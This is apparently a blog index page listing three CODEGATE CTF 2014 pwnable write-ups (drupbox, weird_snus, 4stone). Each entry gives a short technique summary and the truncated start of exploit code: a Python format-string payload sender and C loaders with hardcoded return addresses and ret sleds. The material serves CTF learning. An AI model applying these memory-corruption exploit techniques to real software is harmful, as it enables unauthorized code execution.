CODEGATE CTF 2014 - drupbox
·
CTF/2014
OverviewCategory : Pwnables File : Summary : make failure chdir(), get admin password, 13byte fsb Exploit#!/usr/bin/pythonfrom socket import *from struct import pack,unpackp = lambda x:pack("value")num = ((stack&0x0000ffff) - 4)-926payload = ""payload += p(system_addr)payload += "aaaa"payload += p(system_arg)s.send("4\n")s.recv(1024)s.send("1\n")s.recv(1024)s.send("admin\x00"+payload+"\x00\..
CODEGATE CTF 2014 QUAL - weird_snus
·
CTF/2014
OverviewCategory : Pwnables File : Summary : overwrite function pointer in heap by heap overflow or use-after-free, lift esp + ret sleding Exploitloader.c#include #define RET "\x37\x93\x04\x08"#define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET#define EXECL "\x40\x2e\x0f\x40"//#define EXECL "\x50\x..
CODEGATE CTF 2014 QUAL - 4stone
·
CTF/2014
SummaryCategory : Pwnables File : Keywords : clear game, overwrite any 4byte memory except 0x0804XXXX, _exit calls %gs + 0x14, lift esp + ret sleding Exploitloader.c#include #define RET "\x20\x99\x04\x08" // 0x08049920 retn#define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET #define JMPESP "\x7d\x2a\x08\x40" ..